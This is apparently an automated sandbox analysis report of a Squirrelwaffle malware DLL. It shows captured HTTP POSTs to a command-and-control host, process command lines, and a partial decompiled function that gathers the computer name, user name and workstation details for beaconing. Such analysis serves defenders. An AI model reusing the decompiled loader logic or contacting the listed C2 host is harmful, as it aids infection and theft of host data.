Oct 4, 2021 16:01:57.608432055 CEST	2233	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:57 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.3	49895	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:57.304617882 CEST	2232	OUT	POST /lBawcxb5/cxAvGkZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:57.809325933 CEST	2245	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:57 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.3	49901	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:57.961529970 CEST	2253	OUT	POST /lBawcxb5/cxAvGkZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:58.409146070 CEST	2292	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:58 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 36 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt6dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 4604 Parent PID: 2228

General

Start time:	16:01:03
Start date:	04/10/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\test2.dll'
Imagebase:	0x1320000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Squirrelwaffle, Description: Yara detected Squirrelwaffle, Source: 00000000.00000002.869235382.0000000001140000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Squirrelwaffle, Description: Yara detected Squirrelwaffle, Source: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 6920 Parent PID: 4604

General

Start time:	16:01:04
Start date:	04/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\test2.dll',#1
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6868 Parent PID: 4604

General

Start time:	16:01:05
Start date:	04/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\test2.dll,GetSound
Imagebase:	0xf70000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Squirrelwaffle, Description: Yara detected Squirrelwaffle, Source: 00000002.00000002.315143728.0000000000F50000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4592 Parent PID: 6920

General

Start time:	16:01:05
Start date:	04/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\test2.dll',#1
Imagebase:	0xf70000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Squirrelwaffle, Description: Yara detected Squirrelwaffle, Source: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Squirrelwaffle, Description: Yara detected Squirrelwaffle, Source: 00000003.00000002.870228456.0000000000CA0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 4604 Parent PID: 2228 loaddll32.exeCOMMON

Executed Functions

Function 10003B10, Relevance: 108.7, APIs: 47, Strings: 14, Instructions: 1941
processsleepstringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E10003B10(void* __ebx, void* __edi, void* __esi) {
				int _v8;
				char _v16;
				signed int _v20;
				short _v65556;
				intOrPtr _v65684;
				char _v65700;
				void* _v65704;
				char _v65724;
				char _v65748;
				void* _v65848;
				intOrPtr _v65852;
				char _v65868;
				void* _v65872;
				intOrPtr _v65876;
				char _v65892;
				void* _v65896;
				intOrPtr _v65900;
				char _v65916;
				intOrPtr _v65924;
				char _v65940;
				void* _v66016;
				int _v66020;
				char _v66036;
				int _v66040;
				signed int _v66044;
				char _v66060;
				void* _v66064;
				int _v66068;
				char _v66084;
				void* _v66088;
				int _v66092;
				char _v66108;
				void* _v66112;
				int _v66116;
				char _v66132;
				void* _v66136;
				int _v66140;
				char _v66156;
				void* _v66160;
				unsigned int _v66164;
				char _v66180;
				long _v66184;
				void* _v66188;
				int _v66192;
				char _v66208;
				void* _v66212;
				int _v66216;
				char _v66232;
				void* _v66236;
				int _v66240;
				char _v66256;
				void* _v66260;
				int _v66264;
				char _v66280;
				void* _v66352;
				intOrPtr _v66368;
				intOrPtr _v66372;
				intOrPtr _v66376;
				char _v66380;
				char _v66392;
				intOrPtr* _v66440;
				void* _v66448;
				char _v66452;
				void _v66456;
				char* _v66460;
				void* _v66464;
				int _v66468;
				char* _v66472;
				void* _v66476;
				signed int _v66480;
				char _v66484;
				char _v66488;
				signed int _t658;
				signed int _t659;
				char* _t662;
				char _t663;
				char* _t665;
				char _t666;
				int _t672;
				intOrPtr _t674;
				intOrPtr* _t683;
				int _t689;
				intOrPtr _t691;
				intOrPtr* _t700;
				intOrPtr* _t704;
				void** _t708;
				void* _t712;
				void* _t716;
				void* _t718;
				void* _t727;
				intOrPtr _t729;
				void* _t740;
				signed int _t742;
				signed int _t744;
				signed int _t745;
				intOrPtr _t757;
				intOrPtr _t760;
				intOrPtr _t763;
				intOrPtr _t766;
				intOrPtr _t771;
				intOrPtr _t791;
				intOrPtr _t794;
				long _t804;
				void* _t805;
				void* _t807;
				intOrPtr _t808;
				void* _t813;
				intOrPtr* _t814;
				void* _t823;
				intOrPtr _t829;
				intOrPtr _t832;
				intOrPtr _t837;
				intOrPtr _t840;
				intOrPtr* _t843;
				intOrPtr* _t847;
				void* _t860;
				intOrPtr _t871;
				intOrPtr _t874;
				intOrPtr _t877;
				intOrPtr _t880;
				intOrPtr* _t885;
				intOrPtr* _t889;
				signed int _t891;
				signed int _t893;
				signed int _t897;
				char* _t908;
				intOrPtr _t909;
				void _t912;
				intOrPtr _t915;
				intOrPtr _t918;
				intOrPtr _t921;
				intOrPtr _t924;
				intOrPtr _t927;
				intOrPtr _t930;
				intOrPtr _t933;
				intOrPtr _t936;
				intOrPtr _t939;
				intOrPtr _t947;
				intOrPtr* _t955;
				intOrPtr _t962;
				intOrPtr _t965;
				intOrPtr _t972;
				intOrPtr _t982;
				intOrPtr _t985;
				char* _t1008;
				char* _t1011;
				intOrPtr* _t1016;
				int _t1023;
				intOrPtr* _t1025;
				int _t1032;
				intOrPtr* _t1035;
				int _t1037;
				char* _t1039;
				char* _t1048;
				intOrPtr* _t1050;
				char* _t1054;
				intOrPtr* _t1059;
				intOrPtr* _t1061;
				intOrPtr* _t1063;
				char _t1072;
				char _t1073;
				intOrPtr _t1074;
				intOrPtr _t1075;
				intOrPtr _t1076;
				char _t1084;
				int _t1085;
				char _t1087;
				char _t1088;
				char _t1089;
				char _t1091;
				void* _t1096;
				char _t1101;
				char _t1102;
				intOrPtr* _t1106;
				void* _t1111;
				intOrPtr _t1115;
				intOrPtr _t1116;
				intOrPtr _t1117;
				intOrPtr _t1118;
				char _t1125;
				void* _t1126;
				void* _t1127;
				char _t1128;
				char _t1129;
				char _t1130;
				char _t1131;
				char _t1132;
				char _t1133;
				char _t1134;
				char _t1135;
				char _t1136;
				intOrPtr* _t1137;
				int _t1144;
				char _t1146;
				char _t1147;
				char _t1148;
				char _t1149;
				char _t1150;
				char _t1151;
				char _t1152;
				int _t1154;
				void* _t1158;
				intOrPtr* _t1164;
				void* _t1165;
				void* _t1166;
				signed int _t1167;
				void* _t1168;
				intOrPtr* _t1174;
				void* _t1175;
				void* _t1176;
				signed int _t1177;
				int _t1179;
				void* _t1180;
				signed int _t1181;
				void* _t1182;
				int _t1185;
				void* _t1186;
				void* _t1190;
				void* _t1191;
				void* _t1192;
				intOrPtr* _t1193;
				void* _t1194;
				void* _t1195;
				void* _t1196;
				void* _t1197;
				void* _t1198;
				void* _t1199;
				void* _t1200;
				void* _t1201;
				void* _t1202;
				void* _t1203;
				void* _t1204;
				void* _t1205;
				intOrPtr _t1209;
				void* _t1210;
				void* _t1211;
				void* _t1212;
				void* _t1214;
				void* _t1215;
				void* _t1216;
				void* _t1217;
				void* _t1218;
				intOrPtr _t1220;
				void* _t1221;
				void* _t1223;
				void* _t1224;
				void* _t1225;
				void* _t1226;
				void* _t1227;
				void* _t1228;
				int _t1229;
				int _t1231;
				void* _t1232;
				void* _t1233;
				void* _t1234;
				void* _t1235;
				void* _t1236;
				void* _t1237;
				void* _t1238;
				void* _t1239;
				void* _t1240;
				void* _t1241;
				void* _t1242;
				intOrPtr* _t1249;
				void* _t1250;
				void* _t1251;
				void* _t1252;
				void* _t1253;
				void* _t1254;
				void* _t1255;
				void* _t1256;
				void* _t1257;
				void* _t1259;
				void* _t1260;
				intOrPtr _t1264;
				intOrPtr _t1265;
				void* _t1267;
				char* _t1270;
				intOrPtr* _t1271;
				intOrPtr* _t1272;
				void* _t1276;
				void* _t1280;
				void* _t1283;
				void* _t1288;
				char* _t1290;
				char* _t1291;
				void* _t1294;
				void* _t1297;
				signed int _t1301;
				signed int _t1303;
				void* _t1304;
				void* _t1305;
				void* _t1306;
				void* _t1307;
				char* _t1308;
				void* _t1309;
				void* _t1310;
				void* _t1311;
				void* _t1312;
				void* _t1313;
				char* _t1314;
				void* _t1315;
				void* _t1316;
				void* _t1317;
				void* _t1320;
				void* _t1321;
				void* _t1322;
				void* _t1323;
				void* _t1324;
				void* _t1415;
				void* _t1430;
				void* _t1444;
				void* _t1454;

				_t1007 = __ebx;
				_t1301 = _t1303;
				_push(0xffffffff);
				_push(E100097D1);
				_push( *[fs:0x0]);
				E100092B0();
				_t658 =  *0x1000d004; // 0x98f8ac3b
				_t659 = _t658 ^ _t1301;
				_v20 = _t659;
				_push(__esi);
				_push(__edi);
				_push(_t659);
				 *[fs:0x0] =  &_v16;
				_v66480 = 0;
				Sleep(0x17); // executed
				_t662 = getenv("APPDATA");
				_t1156 = _t662;
				_v66240 = 0;
				_t1008 = _t662;
				_v66236 = 0xf;
				_t1304 = _t1303 + 4;
				_v66256 = 0;
				_t7 =  &(_t1008[1]); // 0x1
				_t1263 = _t7;
				goto L1;
				do {
					L3:
					_t666 =  *_t1011;
					_t1011 =  &(_t1011[1]);
				} while (_t666 != 0);
				E10006CC0(__ebx,  &_v66232, _t1157, _t1157, _t1011 - _t1276);
				_v8 = 1;
				_v66184 = 0x7fff;
				_v66068 = 0;
				_v66064 = 0xf;
				_v66084 = 0;
				E10006CC0(__ebx,  &_v66084, _t1157, 0x1000a2e5, 0);
				_v8 = 3;
				_v66264 = 0;
				_v66260 = 0xf;
				_v66280 = 0;
				E10006CC0(__ebx,  &_v66280, _t1157, "0", 1);
				_v8 = 4;
				__imp__signal(0x16, E10003B00);
				_t1306 = _t1305 + 8;
				_t672 = GetComputerNameW( &_v65556,  &_v66184); // executed
				if(_t672 != 0) {
					__eflags = 0;
					_v66044 = 0;
					_t1016 =  &_v65556;
					_v66040 = 7;
					_v66060 = 0;
					_t1158 = _t1016 + 2;
					do {
						_t674 =  *_t1016;
						_t1016 = _t1016 + 2;
						__eflags = _t674;
					} while (_t674 != 0);
					_push(_t1016 - _t1158 >> 1);
					E100069D0(__ebx,  &_v66060, _t1263, _t1276,  &_v65556);
					_v8 = 5;
					__eflags = _v66040 - 8;
					_t1160 =  >=  ? _v66060 :  &_v66060;
					_v66092 = 0;
					_v66088 = 0xf;
					_v66108 = 0;
					_t1277 = ( >=  ? _v66060 :  &_v66060) + _v66044 * 2;
					_t1162 =  >=  ? _v66060 :  &_v66060;
					_v66468 =  >=  ? _v66060 :  &_v66060;
					E10007BE0( &_v66108, ( >=  ? _v66060 :  &_v66060) + _v66044 * 2 - ( >=  ? _v66060 :  &_v66060) >> 1);
					_push(_v66484);
					E100080F0( &_v66108, _v66468, ( >=  ? _v66060 :  &_v66060) + _v66044 * 2);
					_v8 = 6;
					_t683 = E100070C0( &_v66156,  &_v66108, "\t\t");
					_t1306 = _t1306 + 4;
					_v8 = 7;
					_t1164 = _t683;
					__eflags =  *((intOrPtr*)(_t683 + 0x14)) - 0x10;
					if( *((intOrPtr*)(_t683 + 0x14)) >= 0x10) {
						_t1164 =  *_t683;
					}
					_t1263 =  *(_t683 + 0x10);
					_t1276 = _v66064;
					_t1023 = _v66068;
					_push(_t1263);
					_push(_t1164);
					__eflags = _t1263 - _t1276 - _t1023;
					if(_t1263 > _t1276 - _t1023) {
						_v66468 = 0;
						_push(_v66468);
						_push(_t1263);
						E100079E0(_t1007,  &_v66084, _t1263);
					} else {
						__eflags = _t1276 - 0x10;
						_v66068 = _t1023 + _t1263;
						_t1000 =  >=  ? _v66084 :  &_v66084;
						_t1276 = ( >=  ? _v66084 :  &_v66084) + _t1023;
						memmove(_t1276, ??, ??);
						_t1306 = _t1306 + 0xc;
						 *((char*)(_t1276 + _t1263)) = 0;
					}
					_v8 = 6;
					_t1165 = _v66136;
					__eflags = _t1165 - 0x10;
					if(_t1165 >= 0x10) {
						_t1084 = _v66156;
						_t1185 = _t1165 + 1;
						_t784 = _t1084;
						__eflags = _t1185 - 0x1000;
						if(_t1185 >= 0x1000) {
							_t1084 =  *((intOrPtr*)(_t1084 - 4));
							_t1185 = _t1185 + 0x23;
							_t784 = _t784 - _t1084 + 0xfffffffc;
							__eflags = _t784 - 0x1f;
							if(_t784 > 0x1f) {
								L18:
								__imp___invalid_parameter_noinfo_noreturn();
							}
						}
						_push(_t1185);
						E10008291(_t784, _t1084);
						_t1306 = _t1312 + 8;
					}
					_v8 = 5;
					_t1166 = _v66088;
					__eflags = _t1166 - 0x10;
					if(_t1166 < 0x10) {
						L24:
						_v8 = 4;
						_t1167 = _v66040;
						__eflags = _t1167 - 8;
						if(_t1167 >= 8) {
							_t1087 = _v66060;
							_t1259 = 2 + _t1167 * 2;
							_t788 = _t1087;
							__eflags = _t1259 - 0x1000;
							if(_t1259 >= 0x1000) {
								_t1087 =  *((intOrPtr*)(_t1087 - 4));
								_t1259 = _t1259 + 0x23;
								_t788 = _t788 - _t1087 + 0xfffffffc;
								__eflags = _t788 - 0x1f;
								if(_t788 > 0x1f) {
									goto L27;
								}
							}
							goto L28;
						}
					} else {
						_t1088 = _v66108;
						_t1260 = _t1166 + 1;
						_t791 = _t1088;
						__eflags = _t1260 - 0x1000;
						if(_t1260 < 0x1000) {
							L23:
							_push(_t1260);
							E10008291(_t791, _t1088);
							_t1306 = _t1306 + 8;
							goto L24;
						} else {
							_t1087 =  *((intOrPtr*)(_t1088 - 4));
							_t1259 = _t1260 + 0x23;
							_t788 = _t791 - _t1087 + 0xfffffffc;
							__eflags = _t791 - _t1087 + 0xfffffffc - 0x1f;
							if(_t791 - _t1087 + 0xfffffffc > 0x1f) {
								L27:
								__imp___invalid_parameter_noinfo_noreturn();
								L28:
								_push(_t1259);
								E10008291(_t788, _t1087);
								_t1306 = _t1306 + 8;
							} else {
								goto L23;
							}
						}
					}
				} else {
					_t1154 = _v66068;
					_push(6);
					_push("NONE\t\t");
					if(_v66064 - _t1154 < 6) {
						_v66468 = 0;
						_push(_v66468);
						_push(6);
						E100079E0(__ebx,  &_v66084, _t1263);
					} else {
						_t1299 =  >=  ? _v66084 :  &_v66084;
						_t1276 = ( >=  ? _v66084 :  &_v66084) + _t1154;
						_v66068 = _t1154 + 6;
						memmove(_t1276, ??, ??);
						_t1306 = _t1306 + 0xc;
						 *((char*)(_t1276 + 6)) = 0;
					}
				}
				_t689 = GetUserNameW( &_v65556,  &_v66184); // executed
				if(_t689 != 0) {
					__eflags = 0;
					_v66044 = 0;
					_t1025 =  &_v65556;
					_v66040 = 7;
					_v66060 = 0;
					_t1168 = _t1025 + 2;
					do {
						_t691 =  *_t1025;
						_t1025 = _t1025 + 2;
						__eflags = _t691;
					} while (_t691 != 0);
					_push(_t1025 - _t1168 >> 1);
					E100069D0(_t1007,  &_v66060, _t1263, _t1276,  &_v65556);
					_v8 = 8;
					__eflags = _v66040 - 8;
					_t1170 =  >=  ? _v66060 :  &_v66060;
					_v66092 = 0;
					_v66088 = 0xf;
					_v66108 = 0;
					_t1278 = ( >=  ? _v66060 :  &_v66060) + _v66044 * 2;
					_t1172 =  >=  ? _v66060 :  &_v66060;
					_v66468 =  >=  ? _v66060 :  &_v66060;
					E10007BE0( &_v66108, ( >=  ? _v66060 :  &_v66060) + _v66044 * 2 - ( >=  ? _v66060 :  &_v66060) >> 1);
					_push(_v66484);
					E100080F0( &_v66108, _v66468, ( >=  ? _v66060 :  &_v66060) + _v66044 * 2);
					_v8 = 9;
					_t700 = E100070C0( &_v66156,  &_v66108, "\t\t");
					_t1306 = _t1306 + 4;
					_v8 = 0xa;
					_t1174 = _t700;
					__eflags =  *((intOrPtr*)(_t700 + 0x14)) - 0x10;
					if( *((intOrPtr*)(_t700 + 0x14)) >= 0x10) {
						_t1174 =  *_t700;
					}
					_t1264 =  *((intOrPtr*)(_t700 + 0x10));
					_t1032 = _v66068;
					_v66468 = _t1032;
					_push(_t1264);
					_push(_t1174);
					__eflags = _t1264 - _v66064 - _t1032;
					if(_t1264 > _v66064 - _t1032) {
						_v66468 = 0;
						_push(_v66468);
						_push(_t1264);
						E100079E0(_t1007,  &_v66084, _t1264);
					} else {
						__eflags = _v66064 - 0x10;
						_t1297 =  >=  ? _v66084 :  &_v66084;
						_v66068 = _t1032 + _t1264;
						memmove(_t1297 + _t1032, ??, ??);
						_t1306 = _t1306 + 0xc;
						 *((char*)(_t1264 + _t1297 + _v66468)) = 0;
					}
					_v8 = 9;
					_t1175 = _v66136;
					__eflags = _t1175 - 0x10;
					if(_t1175 >= 0x10) {
						_t1152 = _v66156;
						_t1257 = _t1175 + 1;
						_t985 = _t1152;
						__eflags = _t1257 - 0x1000;
						if(_t1257 >= 0x1000) {
							_t1152 =  *((intOrPtr*)(_t1152 - 4));
							_t1257 = _t1257 + 0x23;
							_t985 = _t985 - _t1152 + 0xfffffffc;
							__eflags = _t985 - 0x1f;
							if(_t985 > 0x1f) {
								__imp___invalid_parameter_noinfo_noreturn();
							}
						}
						_push(_t1257);
						E10008291(_t985, _t1152);
						_t1306 = _t1306 + 8;
					}
					_v8 = 8;
					_t1176 = _v66088;
					__eflags = _t1176 - 0x10;
					if(_t1176 < 0x10) {
						L49:
						_v8 = 4;
						_t1177 = _v66040;
						__eflags = _t1177 - 8;
						if(_t1177 >= 8) {
							_t1150 = _v66060;
							_t1255 = 2 + _t1177 * 2;
							_t979 = _t1150;
							__eflags = _t1255 - 0x1000;
							if(_t1255 >= 0x1000) {
								_t1150 =  *((intOrPtr*)(_t1150 - 4));
								_t1255 = _t1255 + 0x23;
								_t979 = _t979 - _t1150 + 0xfffffffc;
								__eflags = _t979 - 0x1f;
								if(_t979 > 0x1f) {
									goto L52;
								}
							}
							goto L53;
						}
					} else {
						_t1151 = _v66108;
						_t1256 = _t1176 + 1;
						_t982 = _t1151;
						__eflags = _t1256 - 0x1000;
						if(_t1256 < 0x1000) {
							L48:
							_push(_t1256);
							E10008291(_t982, _t1151);
							_t1306 = _t1306 + 8;
							goto L49;
						} else {
							_t1150 =  *((intOrPtr*)(_t1151 - 4));
							_t1255 = _t1256 + 0x23;
							_t979 = _t982 - _t1150 + 0xfffffffc;
							__eflags = _t982 - _t1150 + 0xfffffffc - 0x1f;
							if(_t982 - _t1150 + 0xfffffffc > 0x1f) {
								L52:
								__imp___invalid_parameter_noinfo_noreturn();
								L53:
								_push(_t1255);
								E10008291(_t979, _t1150);
								_t1306 = _t1306 + 8;
							} else {
								goto L48;
							}
						}
					}
				} else {
					_t1085 = _v66068;
					_push(6);
					_push("NONE\t\t");
					if(_v66064 - _t1085 < 6) {
						_v66468 = 0;
						_push(_v66468);
						_push(6);
						E100079E0(_t1007,  &_v66084, _t1263);
					} else {
						_t1287 =  >=  ? _v66084 :  &_v66084;
						_t1288 = ( >=  ? _v66084 :  &_v66084) + _t1085;
						_v66068 = _t1085 + 6;
						memmove(_t1288, ??, ??);
						_t1306 = _t1306 + 0xc;
						 *((char*)(_t1288 + 6)) = 0;
					}
				}
				_t704 = E100070C0( &_v66156,  &_v66256, "\t\t");
				_t1307 = _t1306 + 4;
				_v8 = 0xb;
				_t1035 = _t704;
				if( *((intOrPtr*)(_t704 + 0x14)) >= 0x10) {
					_t1035 =  *_t704;
				}
				_t1263 =  *(_t704 + 0x10);
				_t1279 = _v66064;
				_t1179 = _v66068;
				_push(_t1263);
				_push(_t1035);
				if(_t1263 > _v66064 - _t1179) {
					_v66468 = 0;
					_push(_v66468);
					_push(_t1263);
					E100079E0(_t1007,  &_v66084, _t1263);
				} else {
					_v66068 = _t1179 + _t1263;
					_t977 =  >=  ? _v66084 :  &_v66084;
					_t1279 = ( >=  ? _v66084 :  &_v66084) + _t1179;
					memmove(_t1279, ??, ??);
					_t1307 = _t1307 + 0xc;
					 *((char*)(_t1279 + _t1263)) = 0;
				}
				_v8 = 4;
				_t1180 = _v66136;
				if(_t1180 >= 0x10) {
					_t1149 = _v66156;
					_t1254 = _t1180 + 1;
					_t972 = _t1149;
					if(_t1254 >= 0x1000) {
						_t1149 =  *((intOrPtr*)(_t1149 - 4));
						_t1254 = _t1254 + 0x23;
						if(_t972 > 0x1f) {
							__imp___invalid_parameter_noinfo_noreturn();
						}
					}
					_push(_t1254);
					E10008291(_t972, _t1149);
					_t1307 = _t1307 + 8;
				}
				_t708 =  &_v66464;
				_v66464 = 0;
				__imp__NetWkstaGetInfo(0, 0x64, _t708); // executed
				if(_t708 != 0) {
					_t1181 = _v66064;
					_t1037 = _v66068;
					_push(6);
					_push("NONE\t\t");
